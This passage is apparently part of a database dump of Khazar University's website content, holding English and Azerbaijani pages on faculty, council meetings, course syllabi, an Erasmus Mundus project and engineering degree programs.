Rotating Machines (Cranfield University, UK)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Nijat%20Ibrahimov.pdf\">Nijat Ibrahimov</a></strong></p><p>MS in&nbsp;Systems and Control Engineering (The University of Sheffield, UK)</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Ulviyya%20Ahmadova_CV.pdf\"><strong>Ulviyya Ahmadova</strong></a><br></p><p>MS in&nbsp;Business Administration,&nbsp;Production &amp; Operations Management (Azerbaijan State Oil Academy &amp; Georgia State University)</p>'),(4186,2457,'en','First meeting of the University Academic Council in the current Academic year','On September 28, 2017, the first meeting of the University Academic Council in the new academic year, was held under the chairmanship...','<p>On September 28, 2017, the first meeting of the University Academic Council in the new academic year, was held under the chairmanship of Dr. Hassan Niknafs, the rector of Khazar University. Professor Hamlet Isakhanli, the founder of the university, chairman of its Boards of Directors and Trustees, congratulated the employees on the occasion of the beginning of the new academic year and gave his recommendations. Subsequently, he emphasized the necessity of strengthening scientific work at the university and noted that organizational measures have been taken for this purpose – the position of vice-rector for scientific research in the university was established and Dr. Irada Khalilova, the Head of the Biology Department, was appointed to this position.</p><p>In the accordance with the agenda of the meeting, the rector and the deans presented the newly appointed employees to the members of the Academic Council. Professor Mahammad Nuriyev, Vice rector for Academic Affairs gave information about the new staff of Academic Council of Khazar University. Dr. Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Dr. Elza Samadova, Dean of the School of Education, Dr. Jeyhun Mammadov, Dean of the School of Economics and Management and Vafa Aslanova, Dean’s assistant of the Faculty of Engineering and Applied Sciences informed Dr. Eldar Shahgaldiyev, the Head of the Division for Graduate Students and Research and Dr. Irada Khalilova, the Vice-rector for scientific research about the thesis topics of the current PhD students, approval of supervisors and changing of some PhD students’ qualifications.</p><p>The current issues were also discussed at the meeting.</p>'),(3764,2197,'az','Xəzər Universitetinin tələbələri TİPİİ-na ekskursiya etdilər','2017-ci il mayın 17-də Xəzər Universitetinin Təhsil departamentinə aid sinfin idarə olunması dərsinin tələbələri Təhsil İşçilərinin Peşəkar İnkişafı İnstitutunda ekskursiyada...','<p>2017-ci\r\nil mayın 17-də Xəzər Universitetinin Təhsil departamentinə aid sinfin idarə\r\nolunması dərsinin tələbələri Təhsil İşçilərinin Peşəkar İnkişafı İnstitutunda\r\nekskursiyada oldular. TİPİİ-nun direktoru Vəfa Yaqublu və direktor&nbsp;müavini\r\nNəzakət Mehdiyeva tələbələrlə həmsöhbət olaraq, onlara institutun tarixindən,\r\nfunksiyasından və layihələrindən danışdı. İnstitutun rəhbərliyi bu ekskursiyanı\r\nyüksək qiymətləndirdiklərini və bunu Xəzər Universiteti ilə TİPİİ arasında əlaqələrin\r\nbaşlanğıcı olaraq gördüklərini ifadə etdilər. Azərbaycan təhsil sistemində\r\nmüasir tendensiyalardan bəhs edən Vəfa Yaqublu tələbələrə maraqlı məlumatlar\r\nverərək, onları layihələrinə qoşulmağa dəvət etdi. </p>\r\n<p>Sonda\r\ntələbələr də təəssüratlarını bölüşdülər.&nbsp;</p>'),(2124,1307,'en','Preparation for the New Academic Year at Khazar University: Photos','Preparation for the New Academic Year at Khazar University: Photos ...','<p>Preparation for the New Academic Year at Khazar University:\r\nPhotos</p>'),(778,248,'az','Məqsədlər','Məqsədlər','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p>Azərbaycanda mövcud keçid dövrü iqtisadiyyatın və yeni bazar yönümlü nəzarət metodlarının yenidən qurulması&nbsp;ilə xarakterizə olunur.</p><p>Yeni islahatlar yeni bacarıqların mənimsənilməsi kimi müxtəlif dəyişikliklər tələb edir. Bu isə öz növbəsində yüksək keyfiyyətli peşəkar təlim tələb edir.</p><p>Mühəndislik və Tətbiqi Elmlər fakültəsi bacarıqların daim müasir problemlərə cavab verərək təkmilləşdirilməsini dəstəkləyir.</p><p>Fakültənin əsas məqsədləri aşağıdakılardır:</p><p></p><ul><li>elm, texnologiya və idarəetmə bacarıqlarına bir arada nail olmaq</li><li>tələbələrin, sənaye və yeni bazar iqtisadiyyatının tələblərinin maraqlarına və ehtiyaclarına xidmət etmək</li></ul><p></p><p>Fakültənin tədris qrafiki vaxt, keçirilən yer və quruluş baxımından tələbələrə uyğundur.</p>'),(779,249,'az','Sillabuslar 2018_Yaz','Sillabuslar 2018_Yaz','<h4><strong><h3><strong><span style=\"color:#660033\">İngilis dili departamenti</span><br></strong></h3><p><strong><br></strong></p><p><strong>English Foundation 1 A</strong></p></strong></h4><p><strong><strong>English Foundation 1 B</strong></strong><strong></strong></p><h4><p><strong><strong>English Foundation 1 C</strong>&nbsp;&nbsp;<br></strong></p><p><strong><strong>English Foundation 1 D</strong>&nbsp;<br></strong></p><p><strong>English Foundation 2&nbsp;<br></strong></p><p><strong>ESP (petroleum/chemical)&nbsp;<br></strong></p><p><strong>ESP (civil/mechanical)&nbsp;<br></strong></p><p><strong>ESP(computer) A&nbsp;<br></strong></p><p><strong>ESP(computer) B</strong></p></h4><h4><p><br></p></h4><h3 style=\"display:inline !important\"><strong style=\"color:#660033\">Neft mühəndisliyi departamenti</strong></h3><h4><p><strong><br></strong></p><p><strong>Introduction to Petroleum Engineering</strong><a href=\"http://www.khazar.org/files/petroleum_depart/syllabus/Syllabus_Introduction%20to%20Petroleum%20Engineering_Fall_2017.docx\"></a></p></h4><h4><p><strong>Petroleum Geology&nbsp;</strong></p><p><strong>Gas and Gas-Condensate Reservoir Engineering</strong></p><p><strong>Drilling Engineering</strong></p><p><strong>Physics of Oil and Gas reservoirs&nbsp;</strong></p><p><strong>Petroleum Reservoir Simulation&nbsp;</strong></p><p><strong>Petroleum Production Engineering 1</strong></p><p><strong>Fluid Mechanics for Petroleum Engineers&nbsp;</strong></p><p><strong>Advanced&nbsp;Gas and Gas-Condensate Reservoir Engineering&nbsp;</strong></p><p><strong>Numerical Reservoir Simulation&nbsp;</strong></p><p><strong>Enhanced Oil Recovery&nbsp;</strong></p><p><strong>Advanced Drilling engineering&nbsp;</strong></p><p><strong>Petroleum Geoscience</strong></p><p><strong>&nbsp;Fluid flow in Porous Media&nbsp;</strong></p><p><strong>Well Stimulation&nbsp; &nbsp;</strong></p><p><strong>Formation Evaluation&nbsp;</strong></p></h4><h4><p><br></p></h4><h3><strong style=\"color:#660033\"></strong></h3><h3><strong style=\"color:#660066\">Kompüter mühəndisliyi və Kompüter elmləri departamenti</strong></h3><p><strong><br></strong></p><p><strong>Computer Application in Engineering A</strong><strong></strong></p><p><strong>Computer Application in Engineering B/C</strong></p><p><strong>Fundamentals of Computer programming&nbsp;</strong></p><p><strong>Object Oriented Programming B</strong></p><p><strong>Web &amp; Mobile Programming 1 A/B</strong></p><p><strong>Computer Graphics</strong></p><p><strong>Computer Networks A</strong></p><p><strong>Computer Networks B</strong></p><p><strong>Database Management Systems</strong></p><p><strong>Design and Analysis of Modern Algorithms</strong></p><p><strong>Artificial Intelligence</strong></p><p><strong>Introduction to Compilers</strong></p><p><strong>Digital Logic</strong></p><p><strong>Signals and Systems</strong></p><p><strong>Introduction to Robotics</strong></p><p><strong>Introduction to the Basics of the Python and Neural Networks</strong></p><p><strong>Advanced computer networks and communications</strong></p><p><strong>Advanced Data Structure</strong></p><p><strong>Advanced Object-Oriented Programming</strong></p><p><strong>Distributed Systems&nbsp; &nbsp; &nbsp;</strong></p><p><strong>Optical Signals and Systems&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Parallel Computer Architecture</strong></p><p><strong>Parallel Programming</strong></p><p><strong>Advanced Software Engineering</strong></p><p><strong>Advanced Operating Systems</strong></p><p><br></p>  <h3><strong style=\"color:#660033\">Elektronika, telekommunikasiya və radiotexnika mühəndisliyi departamenti</strong></h3><h4><p><br></p><p>Physics 1A<strong></strong></p></h4><p><strong>Physics 1B&nbsp;</strong></p><p><strong>Physics 2&nbsp;A/B</strong></p><p><strong>Physics 2C</strong></p><p><strong>Circuits Theory</strong></p><p><strong>Semiconductor Devices and Modeling&nbsp;&nbsp;</strong></p><p><strong>Microprocessor-based Systems</strong></p><p><strong>Telecommunication Networks</strong></p><p><strong>Basics of Circuitry</strong></p><p><strong>Control Systems&nbsp; &nbsp;&nbsp;</strong><strong>&nbsp;&nbsp;</strong><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong><br></strong></p><h3><strong style=\"color:#660033\">Riyaziyyat departamenti&nbsp;</strong></h3><p><strong><br></strong></p><p><strong>Calculus 1&nbsp;A/B&nbsp;</strong></p><p><strong></strong></p><p><strong>Calculus 1C</strong></p><p><strong>Calculus 1D</strong></p><p><strong>Calculus 2</strong></p><p><strong>Statistical methods for engineers</strong></p><p><strong>Introduction to Discrete Mathematics</strong></p><p><strong>Applied Linear Algebra</strong></p><p><br></p>  <h3><strong style=\"color:#660033\">İnşaat mühəndisliyi departamenti</strong></h3><p><strong><br></strong></p><p><strong>Foundation Engineering&nbsp;</strong></p><p><strong>Reinforced Concrete Fundamentals - 1&nbsp;</strong></p><p><strong>Architectural Structures&nbsp;</strong></p><p><strong>Fundamentals of Steel design</strong></p><p><strong>Hydraulics</strong></p><p><strong>Engineering Seismology</strong></p><p><strong>Engineering drawing</strong></p><p><br></p>  <h3><strong style=\"color:#660033\">Kimya mühəndisliyi və Kimya departamenti</strong></h3>  <p><strong><br></strong></p><p><strong>Thermodynamic 1</strong></p><p><strong>Kinetic and reactions</strong></p><p><strong>Heat Transfer</strong></p><p><strong>Introduction to Chemical Engineering</strong></p><p><strong>Unit Operation I</strong></p><p><strong>Process Control</strong></p><p><strong>Chemistry I&nbsp;</strong></p><p><strong>Analytical Chemistry</strong></p><p><strong>Alternative Fuel Technology</strong></p><p><strong>Organic chemistry</strong></p><p><strong>Chemistry II</strong></p>  <p><br></p><h3><strong style=\"color:#660033\">Mexanika mühəndisliyi departamenti&nbsp;</strong></h3><p><strong><br></strong></p><p><strong>Engineering Mechanics</strong></p><p><strong>Fundamentals of Electrical Engineering</strong></p><p><strong>Introduction to Mechanical Engineering</strong></p><p><strong>Strength of Material</strong></p><p><strong>Fundamentals of Computer Programming</strong></p><p><strong>Fluid Mechanics I</strong></p><p><strong>CNC Machine Programming and Machine Operation</strong></p><p><strong>AutoCAD for Mechanical Engineering</strong></p><p><strong>Machine Vibrations</strong></p><p><strong>Machine Theory&nbsp;</strong></p><p><strong></strong><strong>Machine&nbsp;Element II</strong></p>  <p><br></p><h3><strong style=\"color:#660033\">Ümumi</strong></h3><p><strong><br></strong></p><p><strong>Azerbaijan Language A</strong></p><p><strong>Azerbaijan Language B/C</strong></p><p><strong>Azerbaijan Language D</strong></p><p><strong>Azerbaijan history for foreigners</strong></p><p><strong>German Language 1</strong></p><p><strong>Italian Language 1&nbsp;</strong></p><p><strong></strong><strong>Introduction to philosophy</strong></p><p><strong>Introduction to Economics A/B</strong></p><p><strong>Life Science</strong></p><p><strong>Family Law</strong></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/General/Syllabus%20-%20Khazar%20University.docx\"></a></strong></p>'),(780,250,'az',' İmtahan cədvəli',' İmtahan cədvəli','<div><p style=\"font-size:medium\"><span style=\"color:#cc00cc;font-size:large\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Midterm%20Exam%20Fall%20Semestr%202018%20.xlsx\">Aralıq imtahanı cədvəli_2018_Payız</a></strong></span></p></div>'),(4319,2553,'az','Paris 1 Panteon-Sarbon Universitetində görüş keçirildi','2017-ci il oktyabr 11-də Xəzər Universiteti və “Dünya” məktəbinin nümayəndə heyəti ilə Paris 1 Panteon-Sarbonne...','<p>2017-ci il oktyabr 11-də Xəzər Universiteti və “Dünya” məktəbinin nümayəndə heyəti ilə Paris 1 Panteon-Sarbonne Universitetinin nümayəndələri görüşdülər və iki universitet arasında əməkdaşlıq məsələlərini müzakirə etdilər.</p><p>Paris 1 Panteon-Sarbonne Universitetinin nümayəndələri professor Maria Gravari Barbas (Beynəlxalq əlaqələr üzrə prorektor), Dr. Anni Soryo (Beynəlxalq əlaqələr şöbəsinin direktoru), Anais Pambukician (Beynəlxalq əməkdaşlıq şöbəsinin direktoru), Dr. Dlorent Pratlonq (İdarəetmə üzrə Baş mühazir) və Dr. Aureli Kondevudan (Turizm üzrə fənlərarası tədqiqat qrupu üzrə (EIREST) Baş mühazir) daxil idi.</p><p>Paris 1 Panteon-Sarbon Universitetinin Beynəlxalq əlaqələr şöbəsinin direktoru Dr. Anni Soryo universitet haqqında qısa bir təqdimatla çıxış etdi. Beynəlxalq Münasibətlər üzrə prorektor professor Maria Gravari Barbas iqtisadiyyat, idarəetmə və turizm daxil olmaqla, potensial əməkdaşlıq üçün uyğun olan müxtəlif sahələri vurğulamışdır.</p><p>Professor Hamlet İsaxanlı Xəzər Universiteti haqqında danışdı, onun inkişaf strategiyası və beynəlxalq əməkdaşlıq prioritetləri barədə məlumat verdi. O, Paris 1 Panteon-Sarbonne Universiteti ilə əməkdaşlığın həyata keçirilməsi üçün öz dərin marağını ifadə etdi. Beynəlxalq əlaqələr ofisinin direktoru Turan Cəfərova Xəzər Universiteti haqqında təqdimat ilə çıxış etdi. Tədbir hədiyyələrin və universitetlərin təqdimat materiallarının qarşılıqlı təqdim edilməsi ilə yekunlaşdı.</p><p>Nümayəndə heyətinə Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının rəhbərliyi ilə universitetin (rektor Dr. Hakan Niknafs, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, İnkişaf direktoru Raziyə İsayeva, Psixologiya şöbəsinin koordinatoru Ülkər İsayeva, Beynəlxalq əlaqələr ofisinin direktoru Turan Cəfərova) və “Dünya” məktəbinin (“Dünya” məktəbinin həmtəsisçisi Nailə xanım İsayeva, “Dünya” məktəbinin direktoru Mərufə Mədətli, IB (beynəlxalq bakalavriat) proqramının koordinatoru Rəna Həsənova) inzibati heyəti daxil idi.</p>'),(4219,2484,'az','Təhsil departamenti “Bir səhnə olaraq sinif və bir aktyor olaraq müəllim” adlı seminar keçirdi','2017-ci il oktyabrın 5-də Xəzər Universiteti Təhsil departamenti “Bir səhnə olaraq sinif və bir aktyor olaraq müəllim...','<p>2017-ci il oktyabrın 5-də Xəzər Universiteti Təhsil departamenti “Bir səhnə olaraq sinif və bir aktyor olaraq müəllim” adlı seminar keçirdi. Seminarda müəllimlərin teatral bacarıqlar və səhnəciklər yolu ilə sinifdə edə biləcəyi dəyişikliklər müzakirə edildi və praktiki misallar verildi.</p><p>Seminarda Xəzər Universitetinin müəllimlərinin bir qrupu iştirak edirdi.</p>'),(781,251,'az',' Beynəlxalq layihələr',' Beynəlxalq layihələr','<h3><strong>ERASMUS MUNDUS</strong></h3><div><strong><br></strong></div><br><h4><strong>ELECTRA: Enhancing Learning in ENPI Countries Through Clean Technologies and Research-related Activities&nbsp;</strong></h4><div><strong><br></strong></div><br><h4><strong>Duration: 48 months</strong></h4><p>ELECTRA is a project proposal that enhances quality in higher education and promotes intercultural understanding through research co-operation with third countries, particularly in the fields of energy, environment and industrial applications.&nbsp;</p><p></p><p>The project is coordinated by Oldenburg University who has been partner member in Erasmus Mundus projects since 2010 and coordinator of a running Tempus project with ENPI countries. All corners of Europe are represented, from Portugal to the Baltic countries passing by Ireland, Germany to Bulgaria. In ENPI countries, capitals and regions are represented as well (like Batumi, Odessa, Zaporizhzhya).</p><p></p><p>Special attention is given to the roles of associated partners including research centers, ministries of&nbsp;education, association of universities in both ENPI and Europe, quality assurance agencies and&nbsp;environmental agencies in third countries.</p><p>During the lifespan of the project, selected candidates will be trained and formed in a variety of universities with large experience in exchange mobility, campus of excellence in targeted areas, and with the possibility of practical internships in numerous programs.</p><p>By improving the skills of present and future engineers, environmentalists, policy makers in energy, soil and water management and related areas, while encouraging employability and avoiding brain drain, ELECTRA expects to contribute positively to the local and regional development of ENPI countries. Multi-country initiatives are sought too.</p><p>ELECTRA is a project that attempts to bring closer cooperation between EU and&nbsp;ENPI countries so as to increase research and produce multiplier effects in areas related to Green&nbsp;Energy, Environment and Sustainable Development. These are the three main areas of action within&nbsp;the European COST network.</p><p>Likewise, the project will reinforce educational, cultural, scientific and technological links between&nbsp;partners while implementing EHEA tools and mechanisms that promote transparency and recognition of studies abroad.</p><p>Other specific objectives of the project are:</p><ul><li>Promotion of the knowledge-based triangle science-enterprise-university by targeting applied research&nbsp;in the PhD and post-doc proposals;</li><li>Integration of Bologna educational system and Lisbon Strategy in Central Asian partner institutions&nbsp;with support of Ministries of Education&nbsp;</li><li>Contribution to the development of qualification frameworks in priority field areas&nbsp;Contribution to lifelong learning and employability of students.</li></ul><p><em><strong><br></strong></em></p><p><em><strong>Coordinator: &nbsp;</strong></em></p><div><p><a href=\"http://www.uni-oldenburq.de/\">Oldenburg University</a></p><p><br></p><p style=\"background:undefined\"><strong><em>Joint Coordinator:</em></strong></p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p><br></p><p><strong><em>Partners:</em></strong></p><p><a href=\"http://www.upv.es/\">Politechnico de Valencia</a></p><p><a href=\"http://www.polito.it/\">Politechnico di Torino</a></p><p><a href=\"http://www.ul.ie/\">Limerick University</a></p><p><a href=\"http://www.uminho.pt/\">Universidade do Minho</a></p><p><a href=\"http://www.oulu.fi/\">Oulu University</a></p><p><a href=\"http://www.uj.edu.pl/\">Jagiellonian University</a></p><p><a href=\"http://www.uctm.edu/\">University of Chemical Technology and Metallurgy</a></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p><a href=\"http://bsu.edu.ge/\">Batumi Shota Rusteveli State University</a></p><p><a href=\"http://www.bsu.by/\">Belarusian State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.opu.ua/\">Odessa Technological University</a></p><p><a href=\"http://www.univ.kiev.ua/\">Kyiv National Taras Shevchenko University</a></p><p><a href=\"http://www.znu.edu.ua/\">Zaporizhzhya National University</a></p><p><a href=\"http://www.znu.edu.ua/\"></a><a href=\"http://www.bntu.by/\">Belarusian Technical University</a></p><p><br></p><p><strong><em>Contact:</em></strong></p><p>Hassan Niknafs, Dean of School of Engineering and Applied Sciences</p><p><a href=\"mailto:Hniknafs[at]khazar.org\">Hniknafs[at]khazar.org</a></p><p>Havvakhanim Gurbanova, Assistant Vice President of International Affairs</p><p><a href=\"mailto:hgurbanova[at]khazar.org\">hgurbanova[at]khazar.org</a></p><p><br></p>\r\n<p><strong><em>Useful link:&nbsp;</em></strong></p><p><a href=\"http://vlba.informatik.uni-oldenburg.de/en/60246.html\">http://vlba.informatik.uni-oldenburg.de/en/60246.html</a></p></div>'),(783,414,'az','Proqramlar və dərəcələr','Proqramlar və dərəcələr','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p>Mühəndislik və Tətbiqi Elmlər fakültəsi müxtəlif elmi və professional dərəcə proqramlarını&nbsp;təklif edir:</p><p><br></p><br><ul style=\"font-size:medium\"><li><p>Kompüter elmləri (Bakalavr, Magistr və Fəlsəfə doktoru (Ph.D.) proqramları)</p></li><li><p>Kompüter mühəndisliyi (Bakalavr, Magistr və Fəlsəfə doktoru (Ph.D.) proqramları)</p></li><li><p>Neft və qaz mühəndisliyi (Bakalavr, Magistr və Fəlsəfə doktoru (Ph.D.) proqramları)</p></li><li><p>İnşaat mühəndisliyi (Bakalavr proqramı)</p></li><li><p>Elektronika, Telekommunikasiya və Radio mühəndisliyi (Bakalavr proqramı)</p></li><li><p>Riyaziyyat (Fəlsəfə doktoru (Ph.D.) proqramı)</p></li><li><p>Biotibbi mühəndislik (Bakalavr proqramı)</p></li><li><p>Kimya mühəndisliyi (Bakalavr proqramı)</p></li></ul><br><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Mühəndislik və tətbiqi elmlər fakültəsi&nbsp;müxtəlif&nbsp; ixtisaslar üzrə&nbsp; bakalavr, magistr və doktor (Ph.D.) proqramları təklif edir.</p><p style=\"text-align:justify\">Bakalavr&nbsp; proqramlari orta məktəb məzunları üçün nəzərdə tutulur və &nbsp;tələbələrə mühəndislik və tətbiqi elmlər ilə əlaqədar əsas biliklər verərək onları universiteti bitirdikdən sonra müvafiq sahələrdə müvəffəqiyyətlə işləmək və həmçinin də yüksək səviyyəli təhsil almaq üçün hazırlayır.</p><p style=\"text-align:justify\">Magistr&nbsp; proqramları mühəndislik və tətbiqi elmlər sahəsində müasir elmi, texniki, iqtisadi və bazar problemlərini dərindən öyrənərək həll etmək istəyən mütəxəssislər üçün nəzərdə tutulur.</p><p style=\"text-align:justify\">Fəlsəfə doktoru (Ph.D.) proqramları mühəndislik və tətbiqi elmlərin müxtəlif sahələrində gələcək fəaliyyətlərini daha da inkişaf etdirmək arzusunda olan və dərin elmi tədqiqatlara maraq göstərən mütəxəssislər üçündür.</p><p style=\"text-align:justify\">Müasir mühəndislik və digər əlaqədar sahələrdə müəyyən idarəçilik bilikləri də tələb olunur. Bu sahədə həmin tələbatı ödəmək məqsədi ilə fakültənin tələbələri üçün iqtisadiyyat, menecment və marketinq üzrə müvafiq fənlər&nbsp;təklif olunur.</p><p style=\"text-align:justify\">Bu proqramların həyata keçirilməsi üçün fakültənin professor-müəllim heyətinin fəaliyyətinin müasir standartlara cavab verməsi, onların peşəkar təcrübəsi, beynəlxalq qurumlar və təşkilatlarla müxtəlif&nbsp; əlaqələrinin olması zəruridir. Bu proqramlar müasir standartların yalnız tədqiqat və təhsildə deyil, eyni zamanda texniki, iqtisadi, sosial və digər sahələrdə də müvəffəqiyyətlə həyata keçirilməsini nəzərdə tutur.</p>'),(784,415,'az','Bakalavr proqramı','Bakalavr proqramı','<div><div><br></div><div>Mühəndislik və tətbiqi elmlər fakültəsi dörd il ərzində mühəndislik və tətbiqi elmlərin muxtəlif sahələrində təhsilini müvəffəqiyyətlə başa vuran tələbələrə bakalavr dərəcəsi verir.Bakalavr dərəcəsi üçün tədris planının tələbi minimum 128 krediti toplamaqdan&nbsp; ibarətdir. Yüksək nəticə&nbsp; əldə etmək üçün tədris müddətində fakültə tərəfindən təsdiqlənən yay təcrübəsi keçmək tələb olunur.Fakültə bu sahələr üzrə bakalavr dərəcə proqramını təklif edir:  <br></div><div><br></div><div><ul><li>Kompüter elmləri;</li><li>Kompüter mühəndisliyi;</li><li>Neft və qaz mühəndisliyi;</li><li>İnşaat mühəndisliyi;</li><li>Elektronika, Telekommunikasiya və Radio mühəndisliyi;</li><li>Kimya mühəndisliyi;</li><li>Biotibbi mühəndislik.</li></ul>  <br></div><div><div>Fakültə&nbsp; tərəfindən təklif olunan ixtisasların sahəsi, məqsədləri və dərəcə tələbləri aşağıda verilmişdir.Universitetin tələbləriÜmumtəhsil tələbləriİxtisas tələbləriUniversitet tələblərinə ümumi sayı&nbsp;27 kredit olan iki əsas komponentlər daxildir.İngilis dili üzrə 15 kredit daxildir:&nbsp;<br></div><strong>&nbsp;</strong><br>• Dinləmə / Oxu 1 (3 kredit)<br>• Danışıq / Yazı 1 (3 kredit)<br>• Dinləmə / Oxu 2 (3 kredit)<br>• Danışıq / Yazı 2 (3 kredit)<br>• Xüsusi məqsədlər üçün İngilis dili (3 kredit)&nbsp;<br><br><strong>Azərbaycan dili tədrisində 12 kredit daxildir:&nbsp;<br></strong>• Azərbaycan dili və tərkibi (3 kredit)&nbsp;<br>• Azərbaycan ədəbiyyatı (3 kredit)&nbsp;<br>• Azərbaycan mədəniyyəti (3 kredit)&nbsp;<br>• Azərbaycan tarixi (3 kredit)&nbsp;Ümumi Təhsil tələbləri minimum 21 kredit formalaşdıran üç komponentdən ibarətdir.• Humanitar&nbsp;<br>• Sosial Elmlər&nbsp;<br>• Elm və Texnologiya<br>Humanitar elmlərə Ədəbiyyat, Dil və Dilçilik, Fəlsəfə, Tarix, Mədəniyyət və Sivilizasiya, İncəsənət və İncəsənət tarixi daxildir. Tələbələr ən azı minimum 6 kreditli iki dərs götürməlidir.Sosial Elmlərə Coğrafiya, Siyasi Elmlər, Beynəlxalq Münasibətlər, Hüquq və İdarəetmə, Antropologiya, İqtisadiyyat, Sosiologiya və Psixologiya aiddir.Tələbələr minimum 6 kreditli ən azı iki dərs götürməlidir (İqtisadiyyata Giriş fakültə tərəfindən tösiyyə olunur).Əsas dərslərdən və anketlərdən minimum 74 kredit toplamaq əsas tələblərə&nbsp; daxildir.Seçmə fənlər: tələbələr ən azı, minimum 6 kreditli iki əlavə dərs götürməlidir.&nbsp;  <br></div><div><strong><br></strong></div><div><strong><br></strong></div><div><strong><a href=\"http://www.khazar.org/files/engineering/Computer%20Science.pdf\">Kompüter elmləri üzrə bakalvr dərəcəsi proqramı.</a></strong></div><div><br></div><div><strong></strong>Kompüter Elmi- kompüter üzrə peşəkar təlim almaq istəyən, ancaq kompüterin sistem qurğularını&nbsp; öyrənməyə güclü marağı olmayan tələbələr üçün nəzərdə tutulmuşdur.&nbsp;<br>Kurikulum çərçivəsində proqram mühəndisliyi, proqramlaşdırma dillərinin prinsipləri, verilənlərin strukturları, yüksək səviyyəli proqramlaşdırma dilləri, əməliyyat sistemləri, kompüter modelləşdirilməsi, kompüter şəbəkələri, süni intellekt və s mövzusunda fənlər keçirlər.Bu proqramın məqsədi tələbələri təhsilin növbəti pilləsinə hazırlamaq, eləcə də&nbsp; onlara biznes,&nbsp; sənaye və qeyri-sənaye sahələrində işləmək üçün lazımi biliklərin verilməsidir.</div><div>&nbsp;Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər &nbsp;</div><div><strong><br></strong></div><div><a href=\"http://www.khazar.org/files/engineering/Computer%20Engineering.pdf\"><strong>Kompüter Mühəndisliyi üzrə bakalavr dərəcsi proqramı</strong></a><a href=\"http://www.khazar.org/files/pdf/kom_muh.pdf\">&nbsp;&nbsp;</a></div><div><br></div><div>Bu ixtisas əsasən tələbələrdə kompüterin proqram və sistemlərini dizayn, analiz və istifadə etmək bacarığını öyrədir.&nbsp; Tələbələr kompüter sistemlərinin məntiqi dizayn, kompüter sistemi arxitekturasi, verilənlər strukturu, alqoritmlər, əməliyyat sistemi anlayışı&nbsp;və həm mühəndislik və qeyri-mühəndislikdə avadanlıq və proqram təminatı sistemlərinin tətbiqi kimi bütün əsas aspektlərini öyrənir. Tələbələr kompüter mühəndisliyi biliklərini&nbsp;dövrə nəzəriyyəsi, siqnal və sistemlər, elektron sxemlər və dizayn, inteqral sxemlər və qurğuların istifadəsi kimi müvafiq elektrotexnika&nbsp; biliklərilə genişləndirir.&nbsp;</div><div>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;<strong>&nbsp;</strong></div><div><strong><br></strong></div><div><strong><a href=\"http://www.khazar.org/files/engineering/Petroleum%20Engineering.pdf\">Nеft –qaz mühəndisliyi iхtisаsı üzrə bаkаlаvr proqramı</a></strong></div><div><br></div><div><strong></strong>Nеft-qaz mühəndisliyi iхtisаsı, neft və qazın layda süzülməsi, nеft və qаz quyulаrının qаzılmаsı və nеftin çıхаrılmаsı, nеft və qаz yаtаqlаrının işlənməsi, quyu məhsulunun yığılmаsı və nəqliyyаtа hаzırlаnmаsı və s. məsələlərlə sıх əlаqədаrdır.Аzərbаycаn çох zəngin və qədim tаriхi ənənələrə mаlik böyük nеft sənаyеsi оlаn ölkədir.Hаzırdа bir çох bеynəlхаlq nеft şirkətləri Bаkıda fəаliyyət göstərir və bu işbirliyi tələbələrə və məzunlаrа işlə təmin оlunmаq üçün gеniş imkаnlаr yаrаdır.Nеft mühəndisliyi üzrə tədris plаnı məzunlаrın nеft sənаyеsində işləməsi üçün nеft mühəndisliyi еlmləri üzrə fənlərin tədrisini nəzərdə tutur. Gеоlogiya fənləri nеft yаtаqlаrının fоrmаlаşmаsı üçün strukturlаrın tələb оlunаn gеоlоji-fiziki хаssələrini və nеft və qаzın lаylаrdа tоplаnmаsının əlvеrişli gеоlоji şərаitini аrаşdırır.Tələbələr nеft və qаz yаtаqlаrının işlənməsinin nəzəri əsаslаrın, eləcə də kоmpütеr еlmlərinin nеft mühəndisliyi prоblеmlərinə tətbiqi məsələlərini geniş şəkildə öyrənirlər.&nbsp;Bütün bunlarla yanaşı tələbələr nеft və qаzçıхаrmа mədənlərində yay təcrübəsi də kеçirlər.<br><br>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;&nbsp;</div><div><strong><br></strong></div><div><strong><a href=\"http://www.khazar.org/files/engineering/Civil%20Engineering.pdf\">İnşaat mühəndisliyi üzrə bakalavr dərəcəsi proqramı.</a></strong></div><div><br></div><div><strong></strong>İnşaat mühəndisliyinin tədrisi&nbsp; tələbələri qüsursuz peşəkar təhsillə təmin etmək üçün nəzərdə tutulub. Əsas elmlərlə əlaqəli dərsləri bitirdikdən sonra tələbələrə Tətbiqi mexanika, Hidravlika, Geodeziya, Materiallar, İnşaat mühəndisliyi və s dərsləri təklif olunur. Dərəcə əldə etmək üçün tələbələrə praktiki təcrübə və xüsusi olaraq yay təcrübəsi götürmək tələb olunur. Seçmə fənlərin təklifi tələbələrə xüsusi sahələrdə öz biliklərini inkişaf etdirməyə imkan verir.</div><div>&nbsp;Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;&nbsp;</div><div><br></div><div><strong><a href=\"http://www.khazar.org/files/engineering/ETR%20Engineering.pdf\">Elektronika, Telekommunikasiya və Radio mühəndisliyi üzrə bakalavr dərəcəsi 